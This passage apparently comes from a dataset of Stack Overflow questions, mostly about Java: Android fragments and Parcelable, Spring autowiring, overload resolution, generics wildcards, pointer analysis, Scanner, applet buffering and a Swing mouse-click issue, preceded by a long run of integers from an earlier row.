5 9 6 10 7 5 5 6 2 2 1 8 2 3 4 2 10 6 3 2 3 3 5 7 7 4 4 4 10 2 10 9 4 5 8 8 8 8 3 1 3 9 10 10 7 6 7 10 4 10 1 9 8 9 8 2 10 6 5 4 8 5 10 10 8 3 1 9 10 10 3 24 8 6 5 4 1 5 4 5 8 9 10 7 10 2 5 5 7 9 4 6 5 8 3 2 8 4 2 5 4 2 2 9 4 6 8 9 3 6 10 8 6 3 7 9 5 1 6 5 4 7 5 5 8 3 1 3 1 1 9 5 3 1 3 8 10 10 4 5 5 4 6 1 2 6 7 8 9 10 2 6 2 9 7 1 4 10 8 7 6 6 4 1 10 8 6 8 2 7 87 10 5 9 10 5 6 4 6 9 1 10 4 7 6 1 5 6 3 6 1 7 7 5 6 3 8 6 5 5 2 6 4 6 4 7 1 5 1 10 8 4 4 4 9 5 4 1 6 7 7 3 8 1 5 10 10 2 10 2 10 10 10 6 8 3 3 8 7 7 4 10 1 2 5 9 5 1 7 10 4 1 9 10 7 2 7 3 2 9 2 7 1 3 1 9 2 4 7 65 8 9 8 2 9 2 10 4 2 5 5 1 9 7 2 7 3 1 5 9 10 6 10 5 10 2 8 7 1 7 2 1 4 1 9 10 3 4 5 1 2 6 4 9 3 5 3 7 4 10 5 9 3 3 7 8 2 3 3 6 3 9 4 4 7 7 1 4 4 10 2 3 6 5 4 7 9 1 4 7 7 8 5 7 7 10 10 7 10 6 8 9 6 5 5 2 6 5 43 6 4 10 5 4 9 8 10 6 7 5 9 6 10 3 5 5 6 7 6 10 1 9 5 3 5 3 9 2 10 7 2 8 1 5 9 9 5 10 10 7 5 9 5 6 9 9 6 2 9 5 7 8 10 3 6 7 5 2 8 5 1 9 6 8 2 6 7 1 7 9 7 6 7 5 5 5 2 8 9 9 5 3 5 1 5 10 8 5 4 5 2 10 3 8 8 4 4 53 4 9 6 3 8 9 1 3 4 9 10 8 1 4 1 5 6 10 8 9 2 4 1 9 4 1 6 8 8 9 10 2 5 2 9 4 5 2 7 1 1 6 10 6 8 10 6 4 10 10 10 6 3 6 4 4 8 6 2 7 1 9 2 6 7 8 3 10 6 4 9 5 6 3 6 1 5 9 7 4 9 6 1 8 8 2 5 1 5 5 10 7 5 5 1 9 3 1 107 6 8 10 3 6 5 10 3 2 7 5 8 9 10 6 7 2 9 7 6 2 7 1 6 5 1 8 7 8 2 10 5 5 9 8 1 7 5 2 8 7 9 6 5 4 5 6 10 2 4 9 10 4 9 6 7 2 2 5 1 5 9 3 9 4 5 4 9 5 3 6 9 1 3 5 1 1 9 1 4 7 6 8 5 10 5 5 1 1 2 10 2 4 2 4 10 1 9 46 4 8 5 6 6 1 6 7 2 3 4 4 2 8 6 5 10 4 10 2 2 10 3 6 5 10 3 10 7 3 5 10 4 4 3 10 7 6 4 4 3 6 8 5 10 3 2 1 1 7 6 1 6 10 5 2 9 7 3 2 7 1 10 6 2 10 10 3 10 5 3 7 1 8 9 7 5 1 4 5 3 6 4 1 6 10 10 10 10 9 3 6 6 4 4 10 1 4 56 8 8 1 8 4 6 1 4 5 3 7 10 5 3 4 10 10 10 5 3 7 5 10 3 4 1 4 5 6 5 4 6 7 7 6 6 2 8 10 1 7 9 1 1 4 10 4 7 1 5 10 1 3 5 1 5 5 2 3 5 1 2 8 1 8 3 8 5 8 5 9 5 10 4 1 7 10 5 7 5 9 5 5 1 8 7 5 6 2 1 6 4 2 7 7 1 8 1 46 3 3 3 1 10 10 5 7 1 2 2 3 3 6 9 4 4 2 4 7 4 6 9 8 7 5 2 4 5 9 1 9 7 2 5 10 10 4 10 7 6 5 9 2 7 1 2 2 10 9 10 2 10 3 6 5 10 3 5 2 1 3 10 7 5 10 5 5 4 8 9 10 7 4 2 9 10 1 7 5 5 1 3 7 3 2 9 6 4 1 7 4 7 5 10 4 7 10 105 3 2 8 10 3 3 1 4 1 4 10 3 10 6 10 8 9 5 7 9 4 5 4 3 3 3 10 3 7 9 10 7 3 9 3 4 6 6 10 10 10 5 6 7 3 4 1 1 1 7 2 3 5 4 7 4 8 4 8 2 1 6 1 5 6 8 5 8 4 2 10 10 8 4 5 4 5 6 3 8 7 1 1 1 3 9 10 1 10 5 1 7 5 6 1 9 10 10 27 3 10 2 10 4 9 4 5 3 5 10 10 8 1 4 5 2 1 4 1 9 9 7 1 5 6 7 4 9 4 9 6 4 5 9 2 5 8 8 2 10 9 4 10 4 10 6 3 5 1 4 2 7 6 3 4 8 1 9 10 1 4 7 3 5 4 8 2 1 8 8 5 3 10 8 4 9 7 1 3 6 5 1 2 4 7 1 6 8 5 5 8 7 5 6 9 7 7 37 5 7 10 5 2 8 8 6 2 10 7 9 2 6 10 7 8 3 3 10 4 5 9 8 10 9 10 6 5 6 1 10 3 4 6 5 6 8 3 7 7 9 7 7 10 4 3 7 2 3 3 3 5 10 3 3 10 1 4 7 1 8 2 9 8 7 9 4 10 1 7 1 9 7 6 3 9 3 10 3 3 10 4 4 8 6 10 4 9 7 6 2 3 7 6 3 5 4 96 6 3 7 5 4 2 1 5 10 6 9 9 3 3 5 6 9 10 6 5 1 6 1 3 1 5 7 8 3 1 3 4 10 5 2 1 8 6 2 3 6 1 7 5 7 4 5 4 3 9 1 10 4 9 4 4 7 8 6 1 9 6 1 1 7 10 3 8 6 5 10 10 10 9 10 3 5 8 7 3 2 9 4 9 6 3 2 5 3 10 4 9 8 3 9 3 6 9 82 8 1 3 5 10 1 6 7 5 6 10 4 6 1 8 5 1 7 3 4 1 6 4 10 6 3 6 9 8 2 5 4 7 7 1 7 4 8 1 4 7 7 2 10 5 7 3 9 2 3 4 3 4 2 2 5 6 8 10 2 1 6 1 10 2 9 10 5 10 4 8 8 10 2 5 3 4 8 6 7 9 1 5 8 6 5 9 7 5 2 1 6 2 6 9 10 2 5 73 2 4 9 8 4 3 4 2 7 3 4 7 8 7 1 9 8 5 5 7 10 8 4 4 8 5 1 7 10 2 8 2 6 10 1 7 2 6 1 10 6 9 6 5 1 4 5 5 6 3 3 1 9 7 5 8 9 8 4 1 4 8 4 8 10 7 9 2 3 9 4 7 7 8 10 4 1 3 9 9 9 2 5 4 3 4 6 5 6 8 4 7 3 5 2 9 1 5 105 9 4 1 1 5 6 9 5 5 3 6 9 10 6 6 6 10 9 5 4 7 2 10 7 2 6 9 10 6 1 4 1 9 1 9 1 6 9 5 5 1 5 5 1 8 7 10 5 3 9 6 3 3 4 6 8 7 5 9 3 3 4 7 6 8 6 9 6 7 7 2 8 4 3 7 9 8 2 6 10 10 10 7 7 7 1 8 3 7 2 2 7 10 7 8 9 6 2 95 3 10 1 8 2 4 10 1 9 10 2 4 10 5 5 1 6 4 5 3 4 5 3 1 2 5 6 7 1 6 1 3 6 8 3 4 4 10 1 6 4 8 2 1 4 7 1 9 9 2 7 3 4 6 10 8 6 1 2 6 7 6 8 5 1 7 8 8 8 5 7 6 8 4 4 5 8 8 3 5 8 2 1 6 3 7 4 6 3 6 7 4 4 2 5 4 2 9 74 6 5 6 2 5 4 4 8 9 3 7 9 8 5 5 9 9 3 3 2 7 6 1 2 7 9 7 1 8 3 8 2 8 10 9 5 2 10 6 3 8 1 7 8 4 8 8 7 3 5 3 4 7 3 5 3 5 3 5 1 5 2 3 9 5 6 9 1 7 6 2 6 10 8 10 4 4 3 5 6 3 10 2 10 1 3 8 10 8 8 5 1 9 4 10 1 2 3 27 3 1 1 1 4 8 8 9 5 8 10 2 10 1 5 6 1 1 5 9 2 8 8 2 6 4 1 1 1 10 9 4 9 7 5 6 4 6 7 2 10 6 1 3 6 2 2 8 3 6 2 7 10 2 1 8 3 6 3 8 2 4 1 3 9 8 8 2 1 9 10 8 9 3 10 7 6 1 2 6 5 1 2 7 8 6 10 10 1 8 9 1 9 3 3 7 9 2 57 3 3 7 10 5 6 7 4 10 8 8 3 7 5 9 4 5 4 7 8 4 5 10 4 9 5 10 3 5 9 3 9 8 1 4 6 6 9 8 7 4 5 8 5 7 6 5 2 8 5 9 1 9 8 6 8 9 8 1 4 8 3 2 4 1 7 3 3 3 8 1 4 10 4 6 7 7 10 1 1 4 8 10 2 4 9 6 5 9 8 4 2 6 3 5 6 2 9 39 8 4 6 1 2 5 7 2 3 3 10 10 10 9 5 7 6 10 3 6 7 2 9 3 10 10 5 3 1 5 8 1 7 9 8 3 2 1 3 4 7 6 7 10 7 7 1 10 7 1 10 4 5 5 9 10 9 10 6 3 7 8 1 3 5 2 10 5 2 8 7 9 10 10 2 2 8 9 7 1 1 9 10 3 10 6 2 9 1 4 8 8 8 5 5 1 1 10 96 2 3 1 8 8 6 1 8 1 4 6 10 7 5 5 5 2 8 10 3 3 2 7 5 5 10 8 9 1 4 1 2 5 7 8 10 8 5 3 9 5 3 6 10 5 10 1 6 3 5 1 10 3 6 8 3 3 4 1 8 3 6 5 4 7 10 1 10 5 10 3 10 1 8 5 3 3 8 10 8 1 5 3 9 8 2 6 8 3 1 6 6 3 3 6 5 8 3 47 3 1 10 10 9 5 7 4 6 8 2 6 1 1 9 6 1 7 7 2 2 9 9 1 3 3 6 8 2 3 2 8 7 7 7 5 7 6 4 10 4 7 5 1 5 2 1 5 2 1 5 10 10 7 3 7 8 10 5 7 1 1 2 2 3 1 7 2 4 4 4 4 9 4 1 6 6 9 6 6 7 8 7 2 5 7 2 6 4 3 10 9 9 1 1 8 8 7 27 3 6 6 3 9 4 5 7 9 6 3 10 1 7 1 7 4 6 4 2 1 7 3 3 1 7 10 6 7 5 2 7 9 8 8 2 6 6 6 7 1 10 10 6 6 9 5 5 2 2 3 8 5 1 9 7 1 4 7 1 3 4 3 5 10 1 5 10 7 7 6 8 2 9 1 10 1 1 8 1 3 1 4 7 5 7 6 8 7 5 6 1 5 3 10 8 4 1 74 5 6 4 5 6 6 1 2 9 7 1 2 5 6 9 2 3 2 5 1 1 1 9 3 1 6 5 3 1 3 10 6 1 2 8 1 3 6 9 3 7 1 5 2 1 5 5 2 4 10 7 6 1 3 3 7 3 10 6 9 9 4 7 2 10 8 4 3 3 8 1 2 1 4 9 8 5 1 7 3 5 6 10 4 8 3 7 9 7 4 4 9 10 6 3 4 2 8 107 7 10 10 4 4 2 5 8 6 6 2 2 3 2 3 6 1 4 7 5 1 9 6 3 3 4 10 5 5 1 5 8 2 10 9 3 7 2 2 3 1 5 7 5 2 6 10 4 1 10 10 5 4 8 6 7 7 7 6 3 4 9 4 10 10 10 7 3 1 1 10 3 6 10 5 8 5 4 6 8 3 2 6 5 2 9 3 7 3 2 4 1 7 9 10 4 5 2 62 1 6 10 2 3 9 5 4 5 4 8 4 6 3 4 5 2 5 3 3 4 3 4 5 9 7 2 6 3 3 9 9 1 7 7 3 7 7 10 8 8 2 5 10 4 2 3 1 8 5 1 6 3 8 5 8 8 6 5 4 1 2 6 6 7 10 10 4 2 3 9 8 5 10 6 2 3 1 6 4 2 7 4 5 7 2 3 4 5 8 6 8 6 4 1 6 3 3 68 8 6 6 6 7 1 2 6 4 4 1 5 5 5 1 9 3 9 2 6 6 5 4 2 3 1 7 5 10 3 9 3 8 8 7 5 4 5 8 7 3 10 1 5 10 7 2 2 9 7 9 2 6 6 2 3 6 7 1 1 2 5 3 4 10 10 4 8 5 9 7 5 8 6 1 7 9 3 10 4 5 6 5 3 9 1 3 9 2 7 2 7 8 9 2 4 3 4 14 7 4 3 3 4 7 4 8 6 5 6 4 10 5 10 7 10 8 9 10 6 7 7 9 3 7 4 7 6 3 4 8 6 9 4 7 8 8 4 10 7 10 6 2 4 7 7 3 7 3 3 6 6 8 6 5 10 1 1 8 1 2 4 2 6 4 1 6 4 6 6 5 4 5 6 7 1 5 3 6 8 8 1 10 7 6 7 10 5 2 4 7 4 9 3 3 8 3 66 7 2 7 9 9 8 6 1 5 10 9 7 6 6 9 8 3 6 3 3 9 7 1 10 5 2 8 4 5 9 10 8 7 5 7 9 9 1 1 10 5 9 4 6 9 6 1 8 10 2 1 8 3 8 10 8 9 3 3 10 3 2 4 8 3 3 3 8 1 8 7 2 6 3 1 7 9 6 1 10 1 1 7 10 9 7 1 1 10 6 1 3 3 6 8 1 4 5 103 5 9 8 7 8 7 5 10 5 9 4 9 8 8 1 4 5 3 4 6 5 10 4 1 10 5 1 8 3 5 5 2 5 10 8 4 5 6 10 10 6 3 6 1 5 9 8 2 10 3 1 2 7 7 8 3 4 9 9 10 5 2 7 1 7 9 3 1 3 3 3 1 3 1 10 1 9 1 7 1 3 2 6 5 3 9 1 2 6 2 8 1 4 6 9 4 3 6 94 5 3 3 10 7 1 2 4 4 9 2 10 3 7 3 2 8 5 8 7 7 6 1 3 5 8 1 1 2 9 4 8 10 1 6 1 2 5 6 5 5 7 6 5 2 1 7 9 10 8 8 3 9 1 6 6 3 8 3 7 2 10 7 4 7 8 10 1 9 9 7 9 10 4 5 8 8 2 7 10 6 6 2 1 1 10 9 6 1 6 1 10 3 2 7 9 4 7 37 1 4 8 1 6 8 10 9 10 8 2 4 1 4 7 1 5 4 7 8 8 8 5 4 5 8 8 1 5 6 2 1 3 9 4 7 1 2 1 8 8 10 2 5 6 4 1 3 5 10 1 10 6 9 3 7 5 9 3 1 8 1 1 2 7 1 2 1 9 4 8 5 1 6 9 3 8 6 1 5 9 6 9 9 10 1 1 3 7 1 3 6 9 3 4 8 4 10 101 7 7 9 3 4 3 3 10 7 1 10 2 10 5 1 4 9 4 8 5 4 10 10 2 1 5 6 7 3 7 9 8 3 10 5 6 5 1 3 5 10 7 2 6 4 3 3 5 2 7 7 2 10 4 9 4 1 7 8 3 6 4 2 8 8 6 2 2 10 7 10 5 7 3 6 5 1 4 7 9 9 2 2 8 5 8 7 9 4 8 3 8 4 10 10 4 7 6 66 4 10 9 5 3 7 10 4 8 9 3 1 8 4 3 8 10 6 3 3 2 2 9 5 6 3 10 8 3 10 3 7 9 3 4 2 3 4 8 5 6 7 7 8 7 6 10 6 4 9 10 1 2 1 8 5 3 4 3 9 1 1 5 2 7 9 2 8 9 7 2 5 1 7 1 7 1 2 2 4 8 8 7 10 2 7 8 2 6 7 6 4 6 7 4 9 10 8 68 6 7 8 10 9 3 3 10 10 4 9 2 10 3 8 2 7 10 4 4 6 2 5 10 3 10 5 3 7 9 10 6 3 5 8 3 2 9 8 5 9 8 2 9 6 4 5 6 2 10 5 1 7 5 2 4 1 8 1 9 4 1 8 8 3 9 6 3 3 6 6 7 2 6 10 4 1 9 10 2 10 5 4 4 2 3 8 8 2 3 4 7 4 3 5 6 4 10 97 10 9 6 9 2 9 1 4 5 8 10 1 5 6 6 2 4 1 1 7 9 7 7 8 10 3 2 5 2 3 9 7 3 8 8 7 7 3 7 1 5 6 8 6 8 8 1 5 3 3 5 6 4 5 4 9 1 9 9 1 4 8 7 4 4 8 6 2 5 9 10 7 3 7 7 4 9 8 10 2 9 1 5 7 7 10 4 5 2 1 6 2 3 5 9 3 8 2 4",How to traverse through all possible paths to a solution and pick the optimum path +Java,"This is something I 've been having issues recently . Sometimes after I exit the app using home button and let it sit idly in the background for a while , I get null pointer for getActivity ( ) . So I 'm just wondering if I 'm setting up async task and listeners wrong or perhaps the issue lies elsewhere . My general procedure is as follows : Fragment : As you can see , I use listeners to post result from asynctask to my fragment . Problem is , I sometimes receive null pointer on getActivity ( ) when setting adapter . This only happens if I exit application , let it sit in the background for extended period of time and then open it . Perhaps listener gets triggered before Fragment is attached ? Perhaps I need to set my logic in a different way ?","public class MyAsyncTask extends AsyncTask < Void , Void , List < SomeObject > > { private Context ctx ; private AsyncListener listener ; public MyAsyncTask ( Context ctx ) { //set Context , etc } ... onPostExecute ( List < SomeObject > result ) { super.onPostExecute ( result ) ; if ( result ! =null ) { listener.onAvailable ( result ) ; } else { listener.onUnavailable ( ) ; } } public interface AsyncListener { void onAvailable ( List < SomeObject > result ) ; void onUnavailable ( ) ; } public void setAsyncListener ( AsyncListener listener ) { this.listener = listener ; } } public class MyFragment extends Fragment implements AsyncListener { private AsyncTask task ; private List < SomeObject > data ; @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { // TODO Auto-generated method stub return inflater.inflate ( R.layout.fragment_messages , container , false ) ; } @ Override public void onActivityCreated ( Bundle savedInstanceState ) { // TODO Auto-generated method stub super.onActivityCreated ( savedInstanceState ) ; setViews ( ) ; if ( data == null ) { task = new AsyncTask ( getActivity ( ) ) ; task.setAsyncListener ( this ) ; task.execute ( ) ; } else { setData ( ) ; } } private void setData ( ) { someListView.setAdapter ( new SomeAdapter ( getActivity ( ) , data ) ) ; } @ Override public void onAvailable ( List < SomeObject > result ) { this.data = result ; setData ( ) ; } @ Override public void onUnavailable ( List < SomeObject > result ) { //Create toast or alert dialog , etc } }","Fragments , AsyncTask and Listeners" +Java,"This question might be similar to Java overload confusionI 'm reading a book and there 's a topic regarding method overloading from which a compiler may not be able to resolve the method being called . The example on the book uses overloaded method with two parameters ( int , double ) and ( double , int ) . Calling this method like overloadedTwoParam ( 4 , 5 ) will cause a compiler error because int can be passed to double . My question here is why compiler able to resolve which method will be called if my parameter is only one ?","public class Test { public static void main ( String [ ] args ) { Test t = new Test ( ) ; t.overloadedSingleParam ( 1 ) ; //this is working t.overloadedTwoParam ( 4 , 5 ) ; //this is NOT working } void overloadedSingleParam ( double a ) { // do something here.. } void overloadedSingleParam ( int a ) { // do something here.. } void overloadedTwoParam ( double a , int b ) { // do something here.. } void overloadedTwoParam ( int a , double b ) { // do something here.. } }",Method overloading : Single parameter vs alternating parameters +Java,"I am trying to create a Component that will be Autowired unless the user creates a different implementation.I used the following code to try and isolate the problem : The interface : The implementation : The usage code : In this example , I do n't get AImpl autowired into AUsage.If I implement A in another class without the ConditionalOnMissingBean it works .",public interface A { ... } @ Component @ ConditionalOnMissingBean ( A.class ) public class AImpl implements A { ... } public class AUsage { @ Autowired private A a ; },How to create a default overridable Component in Spring ? +Java,"I 'm doing an inter-procedrual analysis project in Java at the moment and I 'm looking into using an IFDS solver to compute the control flow graph of a program . I 'm finding it hard to follow the maths involved in the description of the IFDS framework and graph reachability . I 've read in several places that its not possible to compute the points-to sets of a program using this solver as `` pointer analysis is known to be a non-distributive problem . '' [ 1 ] Other sources have said that this is often specifically with regard to 'strong updates ' , which from what I can gather are field write statements.I think I can basically follow how the solver computes edges and works out the dataflow facts . But I do n't quite follow what this : f ( A ∪ B ) = f ( A ) ∪ f ( B ) means in practical terms as a definition of a distributive function , and therefore what it means to say that points-to analysis deals with non-distributive functions.The linked source [ 1 ] gives an example specific to field write statements : It claims that in order to reason about the assignment to b.f one must also take into account all aliases of the base b. I can follow this . But what I do n't understand is what are the properties of this action that make it non-distributive.A similar ( I think ) example from [ 2 ] : Where before the statement there are points-to edges y -- > obj1 and obj1.n -- > obj2 ( where obj1 and 2 are heap objects ) . They claim it is not possible to correctly deduce that the edge x -- > obj2 should be generated after the statement if we consider each input edge independently . The flow function for this statement is a function of the points-to graph as a whole and can not be decomposed into independent functions of each edge and then merged to get a correct result.I think I almost understand what , at least the first , example is saying but that I am not getting the concept of distributive functions which is blocking me getting the full picture . Can anyone explain what a distributive or non-distributive function is on a practical basis with regards to pointer analysis , without using set theory which I am having difficulty following ? [ 1 ] http : //karimali.ca/resources/pubs/conf/ecoop/SpaethNAB16.pdf [ 2 ] http : //dl.acm.org/citation.cfm ? doid=2487568.2487569 ( paywall , sorry )",A a = new A ( ) ; A b = a ; A c = new C ( ) ; b.f = c ; x = y.n,What is a distributive function under IDFS and why is pointer analysis non-distributive ? +Java,"In a Android App I 'm sending a Bundle from an Activity to a Fragment.I 've used Android Studios Implement Parcelable inteli sense help and auto generated the above code and it has no implementation for the Map.When I send this to my Fragment like this : And somehow the Map appears to contain the content when it appears in the fragment . Why is this ? The behaviour I would excpect is that Id is transfered and Map is skipped.This is possible to repeat by just creating an Activity , a fragment and my Bar and send it as a Bundle.I 've tried searching for an answer but I 'm not quite sure on how to formulate the question.Is it a bug or a feature that is supposed to work this way ?","public class Bar implements Parcelable { private Map < String , String > hash ; private int id ; protected Bar ( Parcel in ) { id = in.readInt ( ) ; } public Bar ( int id , Map < String , String > map ) { this.hash=map ; this.id=id ; } public static final Creator < Bar > CREATOR = new Creator < Bar > ( ) { @ Override public Bar createFromParcel ( Parcel in ) { return new Bar ( in ) ; } @ Override public Bar [ ] newArray ( int size ) { return new Bar [ size ] ; } } ; @ Overridepublic int describeContents ( ) { return 0 ; } @ Overridepublic void writeToParcel ( Parcel parcel , int i ) { parcel.writeInt ( id ) ; } } Map < String , String > map = new HashMap < String , String > ( ) ; map.put ( `` foo '' , '' bar '' ) ; map.put ( `` foobar '' , '' barfoo '' ) ; Bar foo = new Bar ( 1 , map ) ; MyFragment fragment = new MyFragment ( ) ; Bundle bundle = new Bundle ( ) ; fragment.setArguments ( bundle ) ; bundle.putParcelable ( `` foo '' , foo ) ; FragmentTransaction fragmentTransaction = getSupportFragmentManager ( ) .beginTransaction ( ) ; fragmentTransaction.add ( R.id.container , fragment , `` foo '' ) ; fragmentTransaction.commit ( ) ;",Parcelable works without correct implementation +Java,"I 'm really new to Java and have been building an app on Sketchware . If you 're not familiar with it , it uses block programming and you can inject your own code in custom blocks . As the storage of all app views are local only , I need all the output PDFs to be attached to an email on the press of a button.The below code works to attach one file but need 6 files attached . All being called from /Documents/ folder on the android device . How can I achieve this ? The filenames I have are in one folder , and are named filename1.pdf , filename2.pdf , etc.If I try repeating this code with each filename , filename6.pdf will be the only file attached to the email.Here 's the Sketchware block diagram :","emailIntent.putExtra ( Intent.EXTRA_STREAM , Uri.fromFile ( new java.io.File ( Environment.getExternalStorageDirectory ( ) + '' /Documents/filename.pdf '' ) ) ) ;","How to amend Java code to send multiple email attachments , using Sketchware ?" +Java,"I have this problem that I need to solve in the most effecient way . I have a 2d array that contains the following : Everything that is a 1 is a `` wall '' which means you can not go through it . 2 is the entrance where you `` enter '' the array or map if you like . 3 are the things we need to find . Here is an example of a map : This could be an example of an array that i need to look in . As you can see there is a 3 that is `` unreachable , since it 's surrounded by a wall `` 1 '' . Which means that there are two available numbers in this array.First we need to find the entrance . Since the entrance can be anywhere I need to search the entire array . I have done the following : This takes O ( n^2 ) time , and i do n't really see another way to do this , since the entrance can be anywhere.However i 'm not really sure how to find the available numbers effectivly and fast . I thought about while searching the arrays for the entrance i will at the same time find the all the number 3 in the array even though some might not be accessible , and after that i 'm not really sure how to effectivly find which are accessible .","11111111 31312 111111 311111111 int treasureAmount = 0 ; Point entrance = new Point ( 0,0 ) ; for ( int i = 0 ; i < N ; i++ ) { for ( int j = 0 ; j < N ; i++ ) { if ( map [ i ] [ j ] == 2 ) { entrance.x =i ; entrance.y =j ; } }",Find available `` number '' in a 2d array +Java,"The following compiles just fine in JDK8 , but gives an incompatible types error with JDK7.According to this answer , List < List < ? extends Number > > does n't have a supertype relationship to List < List < Integer > > .What changed in Java 8 that made this assignment work ? I 'm also having a hard time understanding why it does n't work in Java 7.Both of these statements compile without type error using JDK7 : It seems very unintuitive to me that both of those work in JDK7 , but the original example above does not . All of them of course will work in JDK8 . I think to really understand what 's going on here I 'd need to understand why these examples are legal in Java 7 but the original example is not .",List < List < ? extends Number > > xs = Arrays.asList ( Arrays.asList ( 0 ) ) ; List < ? extends Number > xs = Arrays.asList ( 0 ) ; List < ? extends List < ? extends Number > > ys = Arrays.asList ( Arrays.asList ( 0 ) ) ;,Difference of assignability with nested wildcards in Java 7/8 generics +Java,"According to the javadoc for java.util.Scanner.skip , this method : Skips input that matches the specified pattern , ignoring delimiters.But I am confused as to what the phrase 'ignoring delimeters ' means because the following code throws an exception using Java 7 in Eclipse : It does not seem to ignore delimiters when skipping , as demonstrated by Line A . However Line C appears to work even though its documentation uses the same `` ignoring delimiters '' phrase . Am I unclear on their concept of `` ignoring delimiters '' in this case or is this an actual bug ? What am I missing ?","import java.util.Scanner ; public class Example { public static void main ( String [ ] args ) { Scanner sc = new Scanner ( `` Hello World ! Here 55 '' ) ; String piece = sc.next ( ) ; sc.skip ( `` World '' ) ; // Line A throws NoSuchElementException , vs. sc.skip ( `` \\sWorld '' ) ; // Line B works ! sc.findInLine ( `` World '' ) ; // Line C works ! } }",Scanner.skip documentation concerning delimiters +Java,"I 'm making a game in a java applet and I 'm trying to optimise my code to reduce flickering.I 've already implemented double buffering , so I 'm trying to use another BufferedImage in order to store a picture of the elements of the game 's background that do n't change . Here 's the relevant portion of my code ... So when I have all of these draw commands in the paintGameScreen ( ) method it works fine , aside from the flickering , but when I split it up like this , none of the images drawn in initializeDiffVars ( ) show up , but the text does . If anyone could help it would be greatly appreciated .","public class QuizApplet extends Applet { //The image I 'm trying to use to store components of the game 's gui that do n't change within a gameprivate BufferedImage QBuffImg = new BufferedImage ( 700,550,2 ) ; private Graphics2D QBuffG2 = QBuffImg.createGraphics ( ) ; //The image I use to double bufferprivate final BufferedImage drawTo = new BufferedImage ( 700,550,2 ) ; private final Graphics2D bufferG2 = drawTo.createGraphics ( ) ; public void paint ( Graphics g ) { bufferG2.drawImage ( bg , 0 , 0 , this ) ; if ( gamescreen == 1 ) { paintGameFrame ( bufferG2 ) ; g.drawImage ( drawTo , 0 , 0 , this ) ; } } //This paints all of the elements of the gui that change with each questionprivate void paintGameFrame ( Graphics2D g2 ) { g2.setColor ( Color.BLACK ) ; g2.setFont ( font1 ) ; g2.setRenderingHint ( RenderingHints.KEY_ANTIALIASING , RenderingHints.VALUE_ANTIALIAS_OFF ) ; g2.setRenderingHint ( RenderingHints.KEY_TEXT_ANTIALIASING , RenderingHints.VALUE_TEXT_ANTIALIAS_LCD_HRGB ) ; //Drawing the non changing componentsg2.drawImage ( QBuffImg , 0 , 0 , this ) ; g2.drawImage ( getImage ( getCodeBase ( ) , currentQ.getFigure ( ) .getImgLoc ( ) ) ,78,177 , this ) ; printStringInBox ( String.valueOf ( Qnumber ) , font2 , g2 , 6,71,48 , 113 , true ) ; printStringInBox ( `` Score : `` +person.getScore ( ) , font1 , g2,10,8,210,55 , false ) ; printStringInBox ( `` Time : `` +String.valueOf ( qTimer ) , font1 , g2,475,8,675,55 , true ) ; printStringInBox ( currentQ.getQuerry ( ) , font1 , g2,80,68,622,118 , true ) ; printStringInBox ( currentQ.getFigName ( ) , font2 , g2 , 50 , 425 , 265 , 470 , true ) ; printStringInBox ( pos1.getChoice ( ) .getText ( ) , font2 , g2 , pos1.getX1 ( ) +20 , pos1.getY1 ( ) , pos1.getX2 ( ) -20 , pos1.getY2 ( ) , true ) ; printStringInBox ( pos2.getChoice ( ) .getText ( ) , font2 , g2 , pos2.getX1 ( ) +20 , pos2.getY1 ( ) , pos2.getX2 ( ) -20 , pos2.getY2 ( ) , true ) ; printStringInBox ( pos3.getChoice ( ) .getText ( ) , font2 , g2 , pos3.getX1 ( ) +20 , pos3.getY1 ( ) , pos3.getX2 ( ) -20 , pos3.getY2 ( ) , true ) ; printStringInBox ( pos4.getChoice ( ) .getText ( ) , font2 , g2 , pos4.getX1 ( ) +20 , pos4.getY1 ( ) , pos4.getX2 ( ) -20 , pos4.getY2 ( ) , true ) ; printStringInBox ( `` Multiplier : x '' +String.valueOf ( Math.round ( ( difflevel+.10*multiplier ) *10 ) /10.0 ) , font1 , g2 , 245 , 496 , 458 , 550 , true ) ; if ( waiting ) { g2.drawImage ( right_wrongPic , lastChoicePos.getX1 ( ) -30 , lastChoicePos.getY1 ( ) -12 , this ) ; } } private void initializeDiffVars ( ) { QBuffG2.setColor ( Color.BLACK ) ; QBuffG2.setFont ( font1 ) ; QBuffG2.setRenderingHint ( RenderingHints.KEY_ANTIALIASING , RenderingHints.VALUE_ANTIALIAS_OFF ) ; QBuffG2.setRenderingHint ( RenderingHints.KEY_TEXT_ANTIALIASING , RenderingHints.VALUE_TEXT_ANTIALIAS_LCD_HRGB ) ; QBuffG2.drawImage ( frame , 24 , 124 , null ) ; QBuffG2.drawImage ( framebg , 29 , 130 , null ) ; QBuffG2.drawImage ( stick , ( getWidth ( ) /3 ) -2 , -9 , null ) ; QBuffG2.drawImage ( stick , ( 2*getWidth ( ) /3 ) -2 , -9 , null ) ; QBuffG2.drawImage ( stick , getWidth ( ) /3 , getHeight ( ) -54 , null ) ; QBuffG2.drawImage ( stick , ( 2*getWidth ( ) /3 ) -2 , getHeight ( ) -54 , null ) ; QBuffG2.drawImage ( nameBG , 20 , 430 , null ) ; QBuffG2.drawImage ( querrybg , 50,68 , null ) ; QBuffG2.drawImage ( querrybg , 50,68 , null ) ; QBuffG2.drawImage ( Qbg , pos1.getX1 ( ) , pos1.getY1 ( ) , null ) ; QBuffG2.drawImage ( Qbg , pos2.getX1 ( ) , pos2.getY1 ( ) , null ) ; QBuffG2.drawImage ( Qbg , pos3.getX1 ( ) , pos3.getY1 ( ) , null ) ; QBuffG2.drawImage ( Qbg , pos4.getX1 ( ) , pos4.getY1 ( ) , null ) ; printStringInBox ( person.getName ( ) , font1 , QBuffG2,243,8,451,55 , true ) ; printStringInBox ( String.valueOf ( NUMQUESTIONS ) , font2 , QBuffG2 , 655,71,697,113 , true ) ; printStringInBox ( `` High Score : `` +highScoreDisp , font1 , QBuffG2 , 5 , 495 , 227 , 550 , true ) ; printStringInBox ( `` New Game '' , font1 , QBuffG2 , newGame.getX1 ( ) , newGame.getY1 ( ) , newGame.getX2 ( ) , newGame.getY2 ( ) , true ) ; repaint ( ) ; } }",Using several bufferedImages in java +Java,"Ok , so this is a really , REALLY weird issue that we 're having with the application at my company . I 'm going to try and describe this as best I can.First , this is a legacy application with a Swing UI.Second , the issue only occurs when it is compiled & run using Java 8 . With Java 7 and below , this does not occur.So , the issue : When a dialog is displayed ( modal or non-modal , does n't matter ) , the UI becomes unresponsive to mouse clicks . What 's truly crazy , though , is the UI is NOT frozen . Hovering the mouse over something produces the hover highlight as normal . Keyboard commands are received perfectly . Mouse clicks , however , do not 